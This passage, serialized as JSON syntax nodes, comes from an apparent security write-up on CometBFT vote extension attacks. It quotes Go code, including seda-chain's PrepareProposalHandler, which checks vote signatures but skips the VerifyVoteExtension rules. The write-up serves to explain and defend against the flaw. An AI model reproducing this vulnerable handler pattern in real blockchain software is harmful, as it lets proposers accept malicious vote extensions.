props":83132,"children":83133},{"class":136,"line":527},[83134,83138,83143,83147],{"type":23,"tag":134,"props":83135,"children":83136},{"style":189},[83137],{"type":28,"value":15214},{"type":23,"tag":134,"props":83139,"children":83140},{"style":162},[83141],{"type":28,"value":83142}," added",{"type":23,"tag":134,"props":83144,"children":83145},{"style":179},[83146],{"type":28,"value":242},{"type":23,"tag":134,"props":83148,"children":83149},{"style":162},[83150],{"type":28,"value":83151},"err\n",{"type":23,"tag":134,"props":83153,"children":83154},{"class":136,"line":780},[83155],{"type":23,"tag":134,"props":83156,"children":83157},{"style":179},[83158],{"type":28,"value":533},{"type":23,"tag":134,"props":83160,"children":83161},{"class":136,"line":797},[83162,83167,83171,83175,83179,83184,83188,83193,83197,83202,83206,83211,83215,83219,83223,83227],{"type":23,"tag":134,"props":83163,"children":83164},{"style":162},[83165],{"type":28,"value":83166},"    extEnabled",{"type":23,"tag":134,"props":83168,"children":83169},{"style":168},[83170],{"type":28,"value":75928},{"type":23,"tag":134,"props":83172,"children":83173},{"style":162},[83174],{"type":28,"value":83008},{"type":23,"tag":134,"props":83176,"children":83177},{"style":179},[83178],{"type":28,"value":720},{"type":23,"tag":134,"props":83180,"children":83181},{"style":162},[83182],{"type":28,"value":83183},"state",{"type":23,"tag":134,"props":83185,"children":83186},{"style":179},[83187],{"type":28,"value":720},{"type":23,"tag":134,"props":83189,"children":83190},{"style":162},[83191],{"type":28,"value":83192},"ConsensusParams",{"type":23,"tag":134,"props":83194,"children":83195},{"style":179},[83196],{"type":28,"value":720},{"type":23,"tag":134,"props":83198,"children":83199},{"style":162},[83200],{"type":28,"value":83201},"Feature",{"type":23,"tag":134,"props":83203,"children":83204},{"style":179},[83205],{"type":28,"value":720},{"type":23,"tag":134,"props":83207,"children":83208},{"style":264},[83209],{"type":28,"value":83210},"VoteExtensionsEnabled",{"type":23,"tag":134,"props":83212,"children":83213},{"style":179},[83214],{"type":28,"value":272},{"type":23,"tag":134,"props":83216,"children":83217},{"style":162},[83218],{"type":28,"value":82871},{"type":23,"tag":134,"props":83220,"children":83221},{"style":179},[83222],{"type":28,"value":720},{"type":23,"tag":134,"props":83224,"children":83225},{"style":162},[83226],{"type":28,"value":82991},{"type":23,"tag":134,"props":83228,"children":83229},{"style":179},[83230],{"type":28,"value":329},{"type":23,"tag":134,"props":83232,"children":83233},{"class":136,"line":814},[83234,83238,83243],{"type":23,"tag":134,"props":83235,"children":83236},{"style":189},[83237],{"type":28,"value":11746},{"type":23,"tag":134,"props":83239,"children":83240},{"style":162},[83241],{"type":28,"value":83242}," extEnabled",{"type":23,"tag":134,"props":83244,"children":83245},{"style":179},[83246],{"type":28,"value":463},{"type":23,"tag":134,"props":83248,"children":83249},{"class":136,"line":827},[83250],{"type":23,"tag":134,"props":83251,"children":83252},{"style":168},[83253],{"type":28,"value":81354},{"type":23,"tag":134,"props":83255,"children":83256},{"class":136,"line":836},[83257,83261,83265,83269,83273,83277,83281,83285,83289,83293,83297,83301,83305,83310,83314,83319,83323],{"type":23,"tag":134,"props":83258,"children":83259},{"style":189},[83260],{"type":28,"value":444},{"type":23,"tag":134,"props":83262,"children":83263},{"style":162},[83264],{"type":28,"value":82982},{"type":23,"tag":134,"props":83266,"children":83267},{"style":179},[83268],{"type":28,"value":720},{"type":23,"tag":134,"props":83270,"children":83271},{"style":162},[83272],{"type":28,"value":83033},{"type":23,"tag":134,"props":83274,"children":83275},{"style":168},[83276],{"type":28,"value":454},{"type":23,"tag":134,"props":83278,"children":83279},{"style":162},[83280],{"type":28,"value":77687},{"type":23,"tag":134,"props":83282,"children":83283},{"style":179},[83284],{"type":28,"value":720},{"type":23,"tag":134,"props":83286,"children":83287},{"style":162},[83288],{"type":28,"value":83050},{"type":23,"tag":134,"props":83290,"children":83291},{"style":168},[83292],{"type":28,"value":13653},{"type":23,"tag":134,"props":83294,"children":83295},{"style":168},[83296],{"type":28,"value":12331},{"type":23,"tag":134,"props":83298,"children":83299},{"style":162},[83300],{"type":28,"value":82871},{"type":23,"tag":134,"props":83302,"children":83303},{"style":179},[83304],{"type":28,"value":720},{"type":23,"tag":134,"props":83306,"children":83307},{"style":162},[83308],{"type":28,"value":83309},"BlockID",{"type":23,"tag":134,"props":83311,"children":83312},{"style":179},[83313],{"type":28,"value":720},{"type":23,"tag":134,"props":83315,"children":83316},{"style":264},[83317],{"type":28,"value":83318},"IsNil",{"type":23,"tag":134,"props":83320,"children":83321},{"style":179},[83322],{"type":28,"value":13511},{"type":23,"tag":134,"props":83324,"children":83325},{"style":168},[83326],{"type":28,"value":83327},"&&\n",{"type":23,"tag":134,"props":83329,"children":83330},{"class":136,"line":859},[83331,83336,83341,83345,83349,83353,83357,83361,83366,83370,83375,83379],{"type":23,"tag":134,"props":83332,"children":83333},{"style":168},[83334],{"type":28,"value":83335},"            !",{"type":23,"tag":134,"props":83337,"children":83338},{"style":162},[83339],{"type":28,"value":83340},"bytes",{"type":23,"tag":134,"props":83342,"children":83343},{"style":179},[83344],{"type":28,"value":720},{"type":23,"tag":134,"props":83346,"children":83347},{"style":264},[83348],{"type":28,"value":81810},{"type":23,"tag":134,"props":83350,"children":83351},{"style":179},[83352],{"type":28,"value":272},{"type":23,"tag":134,"props":83354,"children":83355},{"style":162},[83356],{"type":28,"value":82871},{"type":23,"tag":134,"props":83358,"children":83359},{"style":179},[83360],{"type":28,"value":720},{"type":23,"tag":134,"props":83362,"children":83363},{"style":162},[83364],{"type":28,"value":83365},"ValidatorAddress",{"type":23,"tag":134,"props":83367,"children":83368},{"style":179},[83369],{"type":28,"value":242},{"type":23,"tag":134,"props":83371,"children":83372},{"style":162},[83373],{"type":28,"value":83374},"myAddr",{"type":23,"tag":134,"props":83376,"children":83377},{"style":179},[83378],{"type":28,"value":23479},{"type":23,"tag":134,"props":83380,"children":83381},{"style":141},[83382],{"type":28,"value":83383},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":23,"tag":134,"props":83385,"children":83386},{"class":136,"line":868},[83387],{"type":23,"tag":134,"props":83388,"children":83389},{"style":168},[83390],{"type":28,"value":82030},{"type":23,"tag":134,"props":83392,"children":83393},{"class":136,"line":877},[83394,83398,83402,83406,83410,83415,83419,83423,83427,83432,83436,83441,83445,83449],{"type":23,"tag":134,"props":83395,"children":83396},{"style":162},[83397],{"type":28,"value":81848},{"type":23,"tag":134,"props":83399,"children":83400},{"style":168},[83401],{"type":28,"value":75928},{"type":23,"tag":134,"props":83403,"children":83404},{"style":162},[83405],{"type":28,"value":83008},{"type":23,"tag":134,"props":83407,"children":83408},{"style":179},[83409],{"type":28,"value":720},{"type":23,"tag":134,"props":83411,"children":83412},{"style":162},[83413],{"type":28,"value":83414},"blockExec",{"type":23,"tag":134,"props":83416,"children":83417},{"style":179},[83418],{"type":28,"value":720},{"type":23,"tag":134,"props":83420,"children":83421},{"style":264},[83422],{"type":28,"value":82676},{"type":23,"tag":134,"props":83424,"children":83425},{"style":179},[83426],{"type":28,"value":272},{"type":23,"tag":134,"props":83428,"children":83429},{"style":162},[83430],{"type":28,"value":83431},"context",{"type":23,"tag":134,"props":83433,"children":83434},{"style":179},[83435],{"type":28,"value":720},{"type":23,"tag":134,"props":83437,"children":83438},{"style":264},[83439],{"type":28,"value":83440},"TODO",{"type":23,"tag":134,"props":83442,"children":83443},{"style":179},[83444],{"type":28,"value":17849},{"type":23,"tag":134,"props":83446,"children":83447},{"style":162},[83448],{"type":28,"value":82871},{"type":23,"tag":134,"props":83450,"children":83451},{"style":179},[83452],{"type":28,"value":329},{"type":23,"tag":134,"props":83454,"children":83455},{"class":136,"line":946},[83456],{"type":23,"tag":134,"props":83457,"children":83458},{"style":168},[83459],{"type":28,"value":82030},{"type":23,"tag":134,"props":83461,"children":83462},{"class":136,"line":954},[83463],{"type":23,"tag":134,"props":83464,"children":83465},{"style":179},[83466],{"type":28,"value":524},{"type":23,"tag":134,"props":83468,"children":83469},{"class":136,"line":984},[83470,83474,83478,83482],{"type":23,"tag":134,"props":83471,"children":83472},{"style":179},[83473],{"type":28,"value":15249},{"type":23,"tag":134,"props":83475,"children":83476},{"style":189},[83477],{"type":28,"value":490},{"type":23,"tag":134,"props":83479,"children":83480},{"style":189},[83481],{"type":28,"value":15258},{"type":23,"tag":134,"props":83483,"children":83484},{"style":179},[83485],{"type":28,"value":463},{"type":23,"tag":134,"props":83487,"children":83488},{"class":136,"line":992},[83489],{"type":23,"tag":134,"props":83490,"children":83491},{"style":168},[83492],{"type":28,"value":81354},{"type":23,"tag":134,"props":83494,"children":83495},{"class":136,"line":1024},[83496],{"type":23,"tag":134,"props":83497,"children":83498},{"style":179},[83499],{"type":28,"value":533},{"type":23,"tag":134,"props":83501,"children":83502},{"class":136,"line":1032},[83503],{"type":23,"tag":134,"props":83504,"children":83505},{"style":168},[83506],{"type":28,"value":19817},{"type":23,"tag":134,"props":83508,"children":83509},{"class":136,"line":1092},[83510],{"type":23,"tag":134,"props":83511,"children":83512},{"style":179},[83513],{"type":28,"value":1098},{"type":23,"tag":24,"props":83515,"children":83516},{},[83517],{"type":28,"value":83518},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":23,"tag":9072,"props":83520,"children":83522},{"id":83521},"real-world-examples-4",[83523],{"type":28,"value":76201},{"type":23,"tag":24,"props":83525,"children":83526},{},[83527,83529,83534,83536,83542,83544,83550],{"type":28,"value":83528},"An example of the bug we just described is shown here. ",{"type":23,"tag":92,"props":83530,"children":83532},{"className":83531},[],[83533],{"type":28,"value":82655},{"type":28,"value":83535}," only checks that each vote is properly signed by a validator in ",{"type":23,"tag":92,"props":83537,"children":83539},{"className":83538},[],[83540],{"type":28,"value":83541},"ValidateVoteExtension",{"type":28,"value":83543}," but does not verify it against the rules in ",{"type":23,"tag":92,"props":83545,"children":83547},{"className":83546},[],[83548],{"type":28,"value":83549},"VerifyVoteExtention.",{"type":28,"value":83551}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":23,"tag":24,"props":83553,"children":83554},{},[83555],{"type":23,"tag":31,"props":83556,"children":83559},{"href":83557,"rel":83558},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[35],[83560],{"type":28,"value":76251},{"type":23,"tag":87,"props":83562,"children":83564},{"code":83563,"language":75676,"meta":7,"className":75677,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[83565],{"type":23,"tag":92,"props":83566,"children":83567},{"__ignoreMap":7},[83568,83622,83713,83720,83741,83808,83816,83921,83944,83963,83970,84024,84047,84102,84121,84128,84135,84142,84196,84203,84229,84252,84304,84366,84373,84400,84420,84432,84439],{"type":23,"tag":134,"props":83569,"children":83570},{"class":136,"line":137},[83571,83575,83579,83584,83588,83593,83597,83602,83606,83610,83614,83618],{"type":23,"tag":134,"props":83572,"children":83573},{"style":151},[83574],{"type":28,"value":75812},{"type":23,"tag":134,"props":83576,"children":83577},{"style":179},[83578],{"type":28,"value":232},{"type":23,"tag":134,"props":83580,"children":83581},{"style":162},[83582],{"type":28,"value":83583},"h ",{"type":23,"tag":134,"props":83585,"children":83586},{"style":168},[83587],{"type":28,"value":1777},{"type":23,"tag":134,"props":83589,"children":83590},{"style":597},[83591],{"type":28,"value":83592},"Handlers",{"type":23,"tag":134,"props":83594,"children":83595},{"style":179},[83596],{"type":28,"value":252},{"type":23,"tag":134,"props":83598,"children":83599},{"style":264},[83600],{"type":28,"value":83601},"PrepareProposalHandler",{"type":23,"tag":134,"props":83603,"children":83604},{"style":179},[83605],{"type":28,"value":13511},{"type":23,"tag":134,"props":83607,"children":83608},{"style":597},[83609],{"type":28,"value":78242},{"type":23,"tag":134,"props":83611,"children":83612},{"style":179},[83613],{"type":28,"value":720},{"type":23,"tag":134,"props":83615,"children":83616},{"style":597},[83617],{"type":28,"value":83601},{"type":23,"tag":134,"props":83619,"children":83620},{"style":179},[83621],{"type":28,"value":463},{"type":23,"tag":134,"props":83623,"children":83624},{"class":136,"line":147},[83625,83629,83633,83637,83641,83645,83649,83653,83657,83662,83666,83671,83675,83680,83684,83688,83692,83696,83701,83705,83709],{"type":23,"tag":134,"props":83626,"children":83627},{"style":189},[83628],{"type":28,"value":16461},{"type":23,"tag":134,"props":83630,"children":83631},{"style":151},[83632],{"type":28,"value":79521},{"type":23,"tag":134,"props":83634,"children":83635},{"style":179},[83636],{"type":28,"value":272},{"type":23,"tag":134,"props":83638,"children":83639},{"style":162},[83640],{"type":28,"value":19758},{"type":23,"tag":134,"props":83642,"children":83643},{"style":597},[83644],{"type":28,"value":78153},{"type":23,"tag":134,"props":83646,"children":83647},{"style":179},[83648],{"type":28,"value":720},{"type":23,"tag":134,"props":83650,"children":83651},{"style":597},[83652],{"type":28,"value":75861},{"type":23,"tag":134,"props":83654,"children":83655},{"style":179},[83656],{"type":28,"value":242},{"type":23,"tag":134,"props":83658,"children":83659},{"style":162},[83660],{"type":28,"value":83661},"req",{"type":23,"tag":134,"props":83663,"children":83664},{"style":168},[83665],{"type":28,"value":9281},{"type":23,"tag":134,"props":83667,"children":83668},{"style":597},[83669],{"type":28,"value":83670},"abcitypes",{"type":23,"tag":134,"props":83672,"children":83673},{"style":179},[83674],{"type":28,"value":720},{"type":23,"tag":134,"props":83676,"children":83677},{"style":597},[83678],{"type":28,"value":83679},"RequestPrepareProposal",{"type":23,"tag":134,"props":83681,"children":83682},{"style":179},[83683],{"type":28,"value":75894},{"type":23,"tag":134,"props":83685,"children":83686},{"style":168},[83687],{"type":28,"value":1777},{"type":23,"tag":134,"props":83689,"children":83690},{"style":597},[83691],{"type":28,"value":83670},{"type":23,"tag":134,"props":83693,"children":83694},{"style":179},[83695],{"type":28,"value":720},{"type":23,"tag":134,"props":83697,"children":83698},{"style":597},[83699],{"type":28,"value":83700},"ResponsePrepareProposal",{"type":23,"tag":134,"props":83702,"children":83703},{"style":179},[83704],{"type":28,"value":242},{"type":23,"tag":134,"props":83706,"children":83707},{"style":597},[83708],{"type":28,"value":14332},{"type":23,"tag":134,"props":83710,"children":83711},{"style":179},[83712],{"type":28,"value":14272},{"type":23,"tag":134,"props":83714,"children":83715},{"class":136,"line":185},[83716],{"type":23,"tag":134,"props":83717,"children":83718},{"style":168},[83719],{"type":28,"value":81354},{"type":23,"tag":134,"props":83721,"children":83722},{"class":136,"line":221},[83723,83727,83732,83736],{"type":23,"tag":134,"props":83724,"children":83725},{"style":151},[83726],{"type":28,"value":79630},{"type":23,"tag":134,"props":83728,"children":83729},{"style":162},[83730],{"type":28,"value":83731}," injection",{"type":23,"tag":134,"props":83733,"children":83734},{"style":179},[83735],{"type":28,"value":75739},{"type":23,"tag":134,"props":83737,"children":83738},{"style":597},[83739],{"type":28,"value":83740},"byte\n",{"type":23,"tag":134,"props":83742,"children":83743},{"class":136,"line":332},[83744,83748,83753,83757,83761,83765,83769,83773,83777,83781,83786,83790,83795,83799,83804],{"type":23,"tag":134,"props":83745,"children":83746},{"style":189},[83747],{"type":28,"value":444},{"type":23,"tag":134,"props":83749,"children":83750},{"style":162},[83751],{"type":28,"value":83752}," req",{"type":23,"tag":134,"props":83754,"children":83755},{"style":179},[83756],{"type":28,"value":720},{"type":23,"tag":134,"props":83758,"children":83759},{"style":162},[83760],{"type":28,"value":82991},{"type":23,"tag":134,"props":83762,"children":83763},{"style":168},[83764],{"type":28,"value":13662},{"type":23,"tag":134,"props":83766,"children":83767},{"style":162},[83768],{"type":28,"value":25334},{"type":23,"tag":134,"props":83770,"children":83771},{"style":179},[83772],{"type":28,"value":720},{"type":23,"tag":134,"props":83774,"children":83775},{"style":264},[83776],{"type":28,"value":83192},{"type":23,"tag":134,"props":83778,"children":83779},{"style":179},[83780],{"type":28,"value":29662},{"type":23,"tag":134,"props":83782,"children":83783},{"style":162},[83784],{"type":28,"value":83785},"Abci",{"type":23,"tag":134,"props":83787,"children":83788},{"style":179},[83789],{"type":28,"value":720},{"type":23,"tag":134,"props":83791,"children":83792},{"style":162},[83793],{"type":28,"value":83794},"VoteExtensionsEnableHeight",{"type":23,"tag":134,"props":83796,"children":83797},{"style":168},[83798],{"type":28,"value":13653},{"type":23,"tag":134,"props":83800,"children":83801},{"style":162},[83802],{"type":28,"value":83803}," collectSigs",{"type":23,"tag":134,"props":83805,"children":83806},{"style":179},[83807],{"type":28,"value":463},{"type":23,"tag":134,"props":83809,"children":83810},{"class":136,"line":438},[83811],{"type":23,"tag":134,"props":83812,"children":83813},{"style":141},[83814],{"type":28,"value":83815},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":23,"tag":134,"props":83817,"children":83818},{"class":136,"line":466},[83819,83823,83827,83832,83836,83841,83845,83849,83853,83858,83862,83867,83871,83875,83879,83883,83887,83891,83895,83900,83904,83908,83912,83917],{"type":23,"tag":134,"props":83820,"children":83821},{"style":162},[83822],{"type":28,"value":81848},{"type":23,"tag":134,"props":83824,"children":83825},{"style":168},[83826],{"type":28,"value":75928},{"type":23,"tag":134,"props":83828,"children":83829},{"style":162},[83830],{"type":28,"value":83831}," baseapp",{"type":23,"tag":134,"props":83833,"children":83834},{"style":179},[83835],{"type":28,"value":720},{"type":23,"tag":134,"props":83837,"children":83838},{"style":264},[83839],{"type":28,"value":83840},"ValidateVoteExtensions",{"type":23,"tag":134,"props":83842,"children":83843},{"style":179},[83844],{"type":28,"value":272},{"type":23,"tag":134,"props":83846,"children":83847},{"style":162},[83848],{"type":28,"value":19758},{"type":23,"tag":134,"props":83850,"children":83851},{"style":179},[83852],{"type":28,"value":242},{"type":23,"tag":134,"props":83854,"children":83855},{"style":162},[83856],{"type":28,"value":83857},"h",{"type":23,"tag":134,"props":83859,"children":83860},{"style":179},[83861],{"type":28,"value":720},{"type":23,"tag":134,"props":83863,"children":83864},{"style":162},[83865],{"type":28,"value":83866},"stakingKeeper",{"type":23,"tag":134,"props":83868,"children":83869},{"style":179},[83870],{"type":28,"value":242},{"type":23,"tag":134,"props":83872,"children":83873},{"style":162},[83874],{"type":28,"value":83661},{"type":23,"tag":134,"props":83876,"children":83877},{"style":179},[83878],{"type":28,"value":720},{"type":23,"tag":134,"props":83880,"children":83881},{"style":162},[83882],{"type":28,"value":82991},{"type":23,"tag":134,"props":83884,"children":83885},{"style":179},[83886],{"type":28,"value":242},{"type":23,"tag":134,"props":83888,"children":83889},{"style":162},[83890],{"type":28,"value":19758},{"type":23,"tag":134,"props":83892,"children":83893},{"style":179},[83894],{"type":28,"value":720},{"type":23,"tag":134,"props":83896,"children":83897},{"style":264},[83898],{"type":28,"value":83899},"ChainID",{"type":23,"tag":134,"props":83901,"children":83902},{"style":179},[83903],{"type":28,"value":17849},{"type":23,"tag":134,"props":83905,"children":83906},{"style":162},[83907],{"type":28,"value":83661},{"type":23,"tag":134,"props":83909,"children":83910},{"style":179},[83911],{"type":28,"value":720},{"type":23,"tag":134,"props":83913,"children":83914},{"style":162},[83915],{"type":28,"value":83916},"LocalLastCommit",{"type":23,"tag":134,"props":83918,"children":83919},{"style":179},[83920],{"type":28,"value":329},{"type":23,"tag":134,"props":83922,"children":83923},{"class":136,"line":479},[83924,83928,83932,83936,83940],{"type":23,"tag":134,"props":83925,"children":83926},{"style":189},[83927],{"type":28,"value":58308},{"type":23,"tag":134,"props":83929,"children":83930},{"style":162},[83931],{"type":28,"value":48026},{"type":23,"tag":134,"props":83933,"children":83934},{"style":168},[83935],{"type":28,"value":63895},{"type":23,"tag":134,"props":83937,"children":83938},{"style":151},[83939],{"type":28,"value":81430},{"type":23,"tag":134,"props":83941,"children":83942},{"style":179},[83943],{"type":28,"value":463},{"type":23,"tag":134,"props":83945,"children":83946},{"class":136,"line":497},[83947,83951,83955,83959],{"type":23,"tag":134,"props":83948,"children":83949},{"style":189},[83950],{"type":28,"value":60236},{"type":23,"tag":134,"props":83952,"children":83953},{"style":151},[83954],{"type":28,"value":81430},{"type":23,"tag":134,"props":83956,"children":83957},{"style":179},[83958],{"type":28,"value":242},{"type":23,"tag":134,"props":83960,"children":83961},{"style":162},[83962],{"type":28,"value":83151},{"type":23,"tag":134,"props":83964,"children":83965},{"class":136,"line":518},[83966],{"type":23,"tag":134,"props":83967,"children":83968},{"style":179},[83969],{"type":28,"value":58392},{"type":23,"tag":134,"props":83971,"children":83972},{"class":136,"line":527},[83973,83978,83982,83986,83990,83995,83999,84004,84008,84012,84016,84020],{"type":23,"tag":134,"props":83974,"children":83975},{"style":162},[83976],{"type":28,"value":83977},"            injection",{"type":23,"tag":134,"props":83979,"children":83980},{"style":179},[83981],{"type":28,"value":242},{"type":23,"tag":134,"props":83983,"children":83984},{"style":162},[83985],{"type":28,"value":47925},{"type":23,"tag":134,"props":83987,"children":83988},{"style":168},[83989],{"type":28,"value":171},{"type":23,"tag":134,"props":83991,"children":83992},{"style":162},[83993],{"type":28,"value":83994}," json",{"type":23,"tag":134,"props":83996,"children":83997},{"style":179},[83998],{"type":28,"value":720},{"type":23,"tag":134,"props":84000,"children":84001},{"style":264},[84002],{"type":28,"value":84003},"Marshal",{"type":23,"tag":134,"props":84005,"children":84006},{"style":179},[84007],{"type":28,"value":272},{"type":23,"tag":134,"props":84009,"children":84010},{"style":162},[84011],{"type":28,"value":83661},{"type":23,"tag":134,"props":84013,"children":84014},{"style":179},[84015],{"type":28,"value":720},{"type":23,"tag":134,"props":84017,"children":84018},{"style":162},[84019],{"type":28,"value":83916},{"type":23,"tag":134,"props":84021,"children":84022},{"style":179},[84023],{"type":28,"value":329},{"type":23,"tag":134,"props":84025,"children":84026},{"class":136,"line":780},[84027,84031,84035,84039,84043],{"type":23,"tag":134,"props":84028,"children":84029},{"style":189},[84030],{"type":28,"value":58308},{"type":23,"tag":134,"props":84032,"children":84033},{"style":162},[84034],{"type":28,"value":48026},{"type":23,"tag":134,"props":84036,"children":84037},{"style":168},[84038],{"type":28,"value":63895},{"type":23,"tag":134,"props":84040,"children":84041},{"style":151},[84042],{"type":28,"value":81430},{"type":23,"tag":134,"props":84044,"children":84045},{"style":179},[84046],{"type":28,"value":463},{"type":23,"tag":134,"props":84048,"children":84049},{"class":136,"line":797},[84050,84055,84059,84064,84068,84072,84076,84081,84085,84090,84094,84098],{"type":23,"tag":134,"props":84051,"children":84052},{"style":162},[84053],{"type":28,"value":84054},"                h",{"type":23,"tag":134,"props":84056,"children":84057},{"style":179},[84058],{"type":28,"value":720},{"type":23,"tag":134,"props":84060,"children":84061},{"style":162},[84062],{"type":28,"value":84063},"logger",{"type":23,"tag":134,"props":84065,"children":84066},{"style":179},[84067],{"type":28,"value":720},{"type":23,"tag":134,"props":84069,"children":84070},{"style":264},[84071],{"type":28,"value":36896},{"type":23,"tag":134,"props":84073,"children":84074},{"style":179},[84075],{"type":28,"value":272},{"type":23,"tag":134,"props":84077,"children":84078},{"style":1461},[84079],{"type":28,"value":84080},"\"failed to marshal extended votes\"",{"type":23,"tag":134,"props":84082,"children":84083},{"style":179},[84084],{"type":28,"value":242},{"type":23,"tag":134,"props":84086,"children":84087},{"style":1461},[84088],{"type":28,"value":84089},"\"err\"",{"type":23,"tag":134,"props":84091,"children":84092},{"style":179},[84093],{"type":28,"value":242},{"type":23,"tag":134,"props":84095,"children":84096},{"style":162},[84097],{"type":28,"value":47925},{"type":23,"tag":134,"props":84099,"children":84100},{"style":179},[84101],{"type":28,"value":329},{"type":23,"tag":134,"props":84103,"children":84104},{"class":136,"line":814},[84105,84109,84113,84117],{"type":23,"tag":134,"props":84106,"children":84107},{"style":189},[84108],{"type":28,"value":60236},{"type":23,"tag":134,"props":84110,"children":84111},{"style":151},[84112],{"type":28,"value":81430},{"type":23,"tag":134,"props":84114,"children":84115},{"style":179},[84116],{"type":28,"value":242},{"type":23,"tag":134,"props":84118,"children":84119},{"style":162},[84120],{"type":28,"value":83151},{"type":23,"tag":134,"props":84122,"children":84123},{"class":136,"line":827},[84124],{"type":23,"tag":134,"props":84125,"children":84126},{"style":179},[84127],{"type":28,"value":58392},{"type":23,"tag":134,"props":84129,"children":84130},{"class":136,"line":836},[84131],{"type":23,"tag":134,"props":84132,"children":84133},{"style":168},[84134],{"type":28,"value":82030},{"type":23,"tag":134,"props":84136,"children":84137},{"class":136,"line":859},[84138],{"type":23,"tag":134,"props":84139,"children":84140},{"style":179},[84141],{"type":28,"value":524},{"type":23,"tag":134,"props":84143,"children":84144},{"class":136,"line":868},[84145,84150,84154,84158,84162,84167,84171,84176,84180,84184,84188,84192],{"type":23,"tag":134,"props":84146,"children":84147},{"style":162},[84148],{"type":28,"value":84149},"        defaultRes",{"type":23,"tag":134,"props":84151,"children":84152},{"style":179},[84153],{"type":28,"value":242},{"type":23,"tag":134,"props":84155,"children":84156},{"style":162},[84157],{"type":28,"value":47925},{"type":23,"tag":134,"props":84159,"children":84160},{"style":168},[84161],{"type":28,"value":75928},{"type":23,"tag":134,"props":84163,"children":84164},{"style":162},[84165],{"type":28,"value":84166}," h",{"type":23,"tag":134,"props":84168,"children":84169},{"style":179},[84170],{"type":28,"value":720},{"type":23,"tag":134,"props":84172,"children":84173},{"style":264},[84174],{"type":28,"value":84175},"defaultPrepareProposal",{"type":23,"tag":134,"props":84177,"children":84178},{"style":179},[84179],{"type":28,"value":272},{"type":23,"tag":134,"props":84181,"children":84182},{"style":162},[84183],{"type":28,"value":19758},{"type":23,"tag":134,"props":84185,"children":84186},{"style":179},[84187],{"type":28,"value":242},{"type":23,"tag":134,"props":84189,"children":84190},{"style":162},[84191],{"type":28,"value":83661},{"type":23,"tag":134,"props":84193,"children":84194},{"style":179},[84195],{"type":28,"value":329},{"type":23,"tag":134,"props":84197,"children":84198},{"class":136,"line":877},[84199],{"type":23,"tag":134,"props":84200,"children":84201},{"style":168},[84202],{"type":28,"value":81354},{"type":23,"tag":134,"props":84204,"children":84205},{"class":136,"line":946},[84206,84211,84215,84220,84224],{"type":23,"tag":134,"props":84207,"children":84208},{"style":162},[84209],{"type":28,"value":84210},"        proposalTxs",{"type":23,"tag":134,"props":84212,"children":84213},{"style":168},[84214],{"type":28,"value":75928},{"type":23,"tag":134,"props":84216,"children":84217},{"style":162},[84218],{"type":28,"value":84219}," defaultRes",{"type":23,"tag":134,"props":84221,"children":84222},{"style":179},[84223],{"type":28,"value":720},{"type":23,"tag":134,"props":84225,"children":84226},{"style":162},[84227],{"type":28,"value":84228},"Txs\n",{"type":23,"tag":134,"props":84230,"children":84231},{"class":136,"line":954},[84232,84236,84240,84244,84248],{"type":23,"tag":134,"props":84233,"children":84234},{"style":189},[84235],{"type":28,"value":444},{"type":23,"tag":134,"props":84237,"children":84238},{"style":162},[84239],{"type":28,"value":83731},{"type":23,"tag":134,"props":84241,"children":84242},{"style":168},[84243],{"type":28,"value":63895},{"type":23,"tag":134,"props":84245,"children":84246},{"style":151},[84247],{"type":28,"value":81430},{"type":23,"tag":134,"props":84249,"children":84250},{"style":179},[84251],{"type":28,"value":463},{"type":23,"tag":134,"props":84253,"children":84254},{"class":136,"line":984},[84255,84260,84264,84268,84273,84278,84282,84287,84291,84296,84300],{"type":23,"tag":134,"props":84256,"children":84257},{"style":162},[84258],{"type":28,"value":84259},"            proposalTxs",{"type":23,"tag":134,"props":84261,"children":84262},{"style":168},[84263],{"type":28,"value":171},{"type":23,"tag":134,"props":84265,"children":84266},{"style":264},[84267],{"type":28,"value":77208},{"type":23,"tag":134,"props":84269,"children":84270},{"style":179},[84271],{"type":28,"value":84272},"([][]",{"type":23,"tag":134,"props":84274,"children":84275},{"style":597},[84276],{"type":28,"value":84277},"byte",{"type":23,"tag":134,"props":84279,"children":84280},{"style":179},[84281],{"type":28,"value":76130},{"type":23,"tag":134,"props":84283,"children":84284},{"style":162},[84285],{"type":28,"value":84286},"injection",{"type":23,"tag":134,"props":84288,"children":84289},{"style":179},[84290],{"type":28,"value":76149},{"type":23,"tag":134,"props":84292,"children":84293},{"style":162},[84294],{"type":28,"value":84295},"proposalTxs",{"type":23,"tag":134,"props":84297,"children":84298},{"style":168},[84299],{"type":28,"value":9054},{"type":23,"tag":134,"props":84301,"children":84302},{"style":179},[84303],{"type":28,"value":329},{"type":23,"tag":134,"props":84305,"children":84306},{"class":136,"line":992},[84307,84312,84316,84320,84324,84328,84332,84337,84341,84346,84350,84354,84358,84362],{"type":23,"tag":134,"props":84308,"children":84309},{"style":162},[84310],{"type":28,"value":84311},"            